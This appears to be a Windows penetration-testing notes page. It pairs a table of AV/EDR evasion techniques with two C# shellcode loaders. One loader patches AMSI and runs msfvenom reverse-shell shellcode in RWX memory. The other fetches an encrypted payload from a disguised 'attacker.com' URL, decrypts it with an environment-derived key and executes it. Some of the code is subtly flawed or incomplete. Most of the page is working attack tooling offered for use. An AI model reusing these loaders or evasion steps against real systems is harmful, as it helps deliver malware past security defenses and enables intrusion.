> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/defense-enumeration/evasion-techniques.md).

# Evasion techniques

## **AV/EDR Evasion Techniques Comparison Table**

| **Technique**              | **How It Works**                                                               | **Detection Risk** | **When to Use**                                                               | **Why It’s Effective**                                           |
| -------------------------- | ------------------------------------------------------------------------------ | ------------------ | ----------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| **Direct Syscalls**        | Bypasses user-mode hooks by calling kernel APIs via `Nt*/Zw*` from ntdll.dll.  | 🔴 Low             | When EDRs hook Win32 APIs (e.g., VirtualAlloc, CreateThread).                 | EDR can’t monitor syscalls without kernel drivers.               |
| **API Unhooking**          | Replaces hooked DLLs in memory with clean copies from disk.                    | 🟠 Medium          | Targeting EDRs like CrowdStrike/SentinelOne that heavily hook user-mode APIs. | Restores original API behavior, evading inline hooks.            |
| **AMSI Bypass**            | Patches `amsi.dll` in memory (e.g., disabling `AmsiScanBuffer`).               | 🔴 Low             | When executing PowerShell/C# in memory.                                       | Kills Microsoft’s script/assembly scanning.                      |
| **ETW Patching**           | Disables Event Tracing for Windows (e.g., patching `EtwEventWrite`).           | 🔴 Low             | Hiding .NET/PowerShell activity from EDR telemetry.                           | Stops EDRs from collecting process execution logs.               |
| **Process Hollowing**      | Replaces legitimate process memory (e.g., `explorer.exe`) with malicious code. | 🟠 Medium          | Post-exploitation to blend into trusted processes.                            | Appears as a signed process, bypassing process-based detections. |
| **Process Injection**      | Injects shellcode into a living process (e.g., via `CreateRemoteThread`).      | 🟡 High            | Quick execution in a semi-trusted process.                                    | Leverages process reputation but leaves memory artifacts.        |
| **Reflective DLL Loading** | Loads DLLs directly from memory (no disk writes).                              | 🔴 Low             | Avoiding `LoadLibrary` hooks and file-based scans.                            | No disk I/O = fewer IoC triggers.                                |
| **Environmental Keying**   | Executes only if specific conditions are met (e.g., hostname, domain join).    | 🔴 Low             | Targeted attacks where the victim environment is known.                       | Reduces accidental sandbox execution.                            |
| **Sleep Obfuscation**      | Hides sleep patterns (e.g., via `TimerQueue` or indirect syscalls).            | 🟠 Medium          | Evading sandbox timeout checks or EDR timing analysis.                        | Makes sleep-based detections (e.g., "10m sleep") unreliable.     |
| **Polymorphic Code**       | Changes code structure/strings per compilation.                                | 🔴 Low             | Avoiding static signature detection (YARA, hash-based AV).                    | No fixed patterns to scan for.                                   |
| **Module Stomping**        | Overwrites benign DLLs (e.g., `winhttp.dll`) with malicious code.              | 🟠 Medium          | When EDRs monitor `CreateThread` in unexpected memory regions.                | Executes from "trusted" memory regions.                          |
| **Callback Execution**     | Runs shellcode via OS callbacks (e.g., `EnumChildWindows`).                    | 🔴 Low             | Avoiding thread creation alerts.                                              | No new threads = stealthier than `CreateThread`.                 |
| **Hardware Breakpoints**   | Uses CPU debug registers to execute shellcode.                                 | 🟢 Very Low        | Extreme scenarios where memory scanning is expected.                          | Rarely monitored by EDRs.                                        |

***

## Loaders

### S**hellcode (Syscalls + AMSI Bypass)**

```csharp
using System;
using System.Runtime.InteropServices;

namespace GhostLoader
{
    class Program
    {
        // Delegates for syscalls (Nt* versions)
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr NtAllocMem(IntPtr handle, ref IntPtr addr, IntPtr zero, ref IntPtr size, uint type, uint prot);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr NtCreateThreadEx(out IntPtr hThread, uint access, IntPtr attr, IntPtr process, IntPtr start, IntPtr param, uint flags, uint stackZero, uint stackSize, IntPtr attrList, IntPtr unknown);

        static void Main()
        {
            // AMSI Bypass (Patch "amsi.dll")
            PatchAmsi();

            // Shellcode (ej: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f csharp)
            byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, ..., 0xd5 };

            // Allocate RWX memory (via NtAllocateVirtualMemory)
            IntPtr memAddr = IntPtr.Zero;
            IntPtr size = (IntPtr)shellcode.Length;
            NtAllocMem alloc = (NtAllocMem)GetSyscall("NtAllocateVirtualMemory");
            alloc(IntPtr.Zero, ref memAddr, IntPtr.Zero, ref size, 0x3000, 0x40);

            // Copy shellcode
            Marshal.Copy(shellcode, 0, memAddr, shellcode.Length);

            // Execute (via NtCreateThreadEx)
            IntPtr hThread;
            NtCreateThreadEx createThread = (NtCreateThreadEx)GetSyscall("NtCreateThreadEx");
            createThread(out hThread, 0x1FFFFF, IntPtr.Zero, IntPtr.Zero, memAddr, IntPtr.Zero, 0, 0, 0, IntPtr.Zero, IntPtr.Zero);

            // Wait
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        static void PatchAmsi()
        {
            IntPtr amsi = LoadLibrary("amsi.dll");
            IntPtr scanPtr = GetProcAddress(amsi, "AmsiScanBuffer");
            Marshal.WriteByte(scanPtr, 0xC3); // RET
        }

        static Delegate GetSyscall(string name)
        {
            IntPtr ntdll = LoadLibrary("ntdll.dll");
            IntPtr addr = GetProcAddress(ntdll, name);
            return Marshal.GetDelegateForFunctionPointer(addr, typeof(NtAllocMem)); // Use appropriate delegate type
        }

        // P/Invokes
        [DllImport("kernel32")]
        static extern IntPtr LoadLibrary(string name);
        
        [DllImport("kernel32")]
        static extern IntPtr GetProcAddress(IntPtr hModule, string name);
        
        [DllImport("kernel32")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint ms);
    }
}
```

### **Loads .rev.bin (HTTPS + XOR Decrypt)**

```csharp
using System;
using System.Net;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace ShadowDrop
{
    class Program
    {
        static void Main()
        {
            // URL cifrada (ej: "https://attacker.com/rev.bin" -> Base64)
            string encUrl = "aHR0cHM6Ly9hdHRhY2tlci5jb20vcmV2LmJpbg==";
            string url = Encoding.UTF8.GetString(Convert.FromBase64String(encUrl));

            // Descarga y descifrado (XOR con clave dinámica)
            byte[] key = GetKeyFromEnv();
            byte[] encrypted = DownloadPayload(url);
            byte[] shellcode = XORDecrypt(encrypted, key);

            // Ejecución con CreateThread (no syscalls para variedad)
            IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, mem, shellcode.Length);
            IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out _);
            WaitForSingleObject(thread, 0xFFFFFFFF);
        }

        static byte[] DownloadPayload(string url)
        {
            using (WebClient client = new WebClient())
            {
                client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
                return client.DownloadData(url);
            }
        }

        static byte[] XORDecrypt(byte[] data, byte[] key)
        {
            byte[] decrypted = new byte[data.Length];
            for (int i = 0; i < data.Length; i++)
                decrypted[i] = (byte)(data[i] ^ key[i % key.Length]);
            return decrypted;
        }

        static byte[] GetKeyFromEnv()
        {
            string envKey = Environment.UserName + Environment.MachineName;
            return SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(envKey));
        }

        // P/Invokes
        [DllImport("kernel32")]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        
        [DllImport("kernel32")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
        
        [DllImport("kernel32")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    }
}
```
